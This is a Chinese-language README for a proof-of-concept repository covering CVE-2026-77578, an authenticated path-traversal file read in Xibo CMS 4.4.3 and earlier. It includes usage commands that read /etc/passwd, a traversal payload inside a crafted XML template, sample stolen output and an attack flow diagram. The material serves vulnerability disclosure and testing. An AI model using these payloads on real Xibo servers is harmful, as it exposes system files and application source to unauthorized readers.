CVE-2026-77578 是 Xibo CMS 中的一个经过身份验证的任意本地文件读取漏洞。
具有 管理员权限或模块模板访问权限 的已认证用户可以导入一个精心构造的 XML 模板,其中包含带有路径遍历序列的基于路径的资源。随后可以通过模块资源端点访问生成的资源,导致 Xibo 返回所引用本地文件的内容。
<= 4.4.3>= 4.4.4AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)Xibo 将该漏洞发布为 GHSA-pc3g-2hhm-46qc,确认版本 <= 4.4.3 受影响,>= 4.4.4 已修复。该公告将其严重性定为 高,CVSS v3.1 评分为 8.8,并标识为 CVE-2026-77578。
提供的 Python PoC 自动化了利用过程:
/developer/template/import 上传精心构造的 XML 模板。/module/asset/<asset-id> 请求生成的资源。python3 poc.py <URL> -u <USERNAME> -p <PASSWORD> -f <FILE>
示例:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/passwd
另一个示例:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/os-release
-f 选项默认为 /etc/passwd。
以下演示了成功读取 /etc/passwd:
==============================================
FILE CONTENT
==============================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Authenticated User
|
v
GET /developer/template/view
|
v
Extract X-XSRF-TOKEN
|
v
POST /developer/template/import
|
| Crafted XML
| path="../../../../../etc/passwd"
v
Xibo creates the asset
|
v
GET /module/asset/<asset-id>
|
v
Contents of local file returned
该漏洞已在本地 Xibo CMS 4.4.3 测试环境中针对多个文件成功验证,包括:
/etc/passwd/etc/hosts/etc/os-release/var/www/cms/web/index.phpPHP 源文件测试表明,该问题能够返回应用程序源代码,而不仅仅是系统元数据。
成功利用该漏洞允许具有所需模块模板权限的已认证攻击者读取 Xibo 应用程序进程可访问的任意文件。
根据部署情况,这可能暴露:
本概念验证仅供授权的安全研究和防御性测试使用。
仅测试您拥有或已获得明确评估许可的系统。
CVE-2026-77578/
├── poc.py
├── README.md
├── LICENSE
├── .gitignore
└── screenshots/
└── poc-output.png